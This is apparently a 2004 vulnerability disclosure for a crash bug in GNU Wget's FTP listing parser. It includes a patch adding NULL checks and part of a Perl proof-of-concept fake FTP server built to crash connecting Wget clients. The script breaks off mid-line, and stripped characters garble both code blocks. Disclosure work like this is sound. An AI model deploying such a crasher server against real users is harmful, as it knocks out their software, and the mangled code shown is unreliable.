Hello,
I have found that it's possible for a malicious FTP server to crash GNU
Wget by sending malformed directory listings. Wget will parse them without
checking if they are written in the proper format. It will do a fixed number
of strtok() calls and then atoi() calls, and with the wrong format, atoi()
will dereference NULL, leading to a crash.
This affects 1.9.1, the latest CVS version and some older stable versions.
I have attached a patch against 1.9.1 that will correct this, and a little
fake FTP server that exhibits this problem when Wget connects to it. The server
should be started from inetd or xinetd. My inetd.conf line looks like this:
ftp stream tcp nowait metaur /usr/bin/perl perl /path/to/wget-crasher.pl
// Ulf Harnhammar
http://www.advogato.org/person/metaur/
--- src/ftp-ls.c.old2003-09-15 00:04:12.0 +0200
+++ src/ftp-ls.c2004-11-05 17:34:47.0 +0100
@@ -454,11 +454,14 @@
/* First column: mm-dd-yy. Should atoi() on the month fail, january
will be assumed. */
tok = strtok(line, -);
+ if (tok == NULL) continue;
month = atoi(tok) - 1;
if (month 0) month = 0;
tok = strtok(NULL, -);
+ if (tok == NULL) continue;
day = atoi(tok);
tok = strtok(NULL, );
+ if (tok == NULL) continue;
year = atoi(tok);
/* Assuming the epoch starting at 1.1.1970 */
if (year = 70) year += 100;
@@ -466,8 +469,10 @@
/* Second column: hh:mm[AP]M, listing does not contain value for
seconds */
tok = strtok(NULL, :);
+ if (tok == NULL) continue;
hour = atoi(tok);
tok = strtok(NULL, M);
+ if (tok == NULL) continue;
min = atoi(tok);
/* Adjust hour from AM/PM. Just for the record, the sequence goes
11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -497,7 +502,9 @@
directories as the listing does not give us a clue) and filetype
here. */
tok = strtok(NULL, );
- while (*tok == '\0') tok = strtok(NULL, );
+ if (tok == NULL) continue;
+ while ((tok != NULL) (*tok == '\0')) tok = strtok(NULL, );
+ if (tok == NULL) continue;
if (*tok == '')
{
cur.type = FT_DIRECTORY;
@@ -678,6 +685,7 @@
/* Third/Second column: Date DD-MMM-. */
tok = strtok(NULL, -);
+ if (tok == NULL) continue;
DEBUGP((day: '%s'\n,tok));
day = atoi(tok);
tok = strtok(NULL, -);
@@ -695,11 +703,13 @@
/* Uknown months are mapped to January */
month = i % 12 ;
tok = strtok (NULL, );
+ if (tok == NULL) continue;
year = atoi (tok) - 1900;
DEBUGP((date parsed\n));
/* Fourth/Third column: Time hh:mm[:ss] */
tok = strtok (NULL, );
+ if (tok == NULL) continue;
hour = min = sec = 0;
p = tok;
hour = atoi (p);
@@ -730,10 +740,12 @@
/* Skip the fifth column */
tok = strtok(NULL, );
+ if (tok == NULL) continue;
/* Sixth column: Permissions */
tok = strtok(NULL, ,); /* Skip the VMS-specific SYSTEM permissons */
+ if (tok == NULL) continue;
tok = strtok(NULL, ));
if (tok == NULL)
{
#!/usr/bin/perl --
# Wget Crasher 0.1.0 - fake FTP server that crashes GNU Wget
# by Ulf Harnhammar in 2004
# I hereby place this program in the public domain.
use strict;
use Socket;
@main::port = (0, 0, 0, 0, 0, 0);
$main::loggedin = 0;
sub mysend($)
{
print $_[0]\015\012;
} # sub mysend($)
sub myreceive($)
{
my $inp = '';
$inp = STDIN; $inp =~ tr/\015\012\000//d;
$_[0] = $inp;
} # sub myreceive($)
$|++;
mysend('220 Welcome to Wget Crasher 0.1.0 !!');
while (1)
{
my ($str, $savestr, $reststr) = ('', '', '');
myreceive($str);
$savestr = $str;
$str =~ s|^([A-Z]+) *(.*)$|$1|;
$reststr = $2;
if ($str eq 'USER')
{
mysend('331 Anonymous access allowed, send identity (e-mail name) '.
'as password.');
$main::loggedin = 1;
next;
}
if (($str eq 'PASS') ($main::loggedin == 1))
{ mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; }
if ($main::loggedin 2)
{ mysend(500 '$savestr': Command not understood.); next; }
if ($str eq 'SYST')
{ mysend('215 Windows_NT'); next; }
if ($str eq 'PWD')
{ mysend('257 / is current directory.'); next; }
if ($str eq 'TYPE')
{ mysend(200 Type set to $reststr.); next; }
if ($str eq 'PORT')
{
if ($savestr !~
m|^PORT ([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+)$|)
{ mysend('500 Invalid PORT command.'); next; }
@main::port = ($1, $2, $3, $4, $5, $6);
mysend('200 PORT command successful.'); next;
}
if ($str eq 'LIST')
{
my ($remote, $port, $addr, $adddr, $tcp) = ('', 0, 0, 0, 0);
if (($main::port[0] == 0)
($main::port[1] == 0)
($main::port[2] == 0)
($main::port[3] == 0))
{ mysend('425 Unable to build data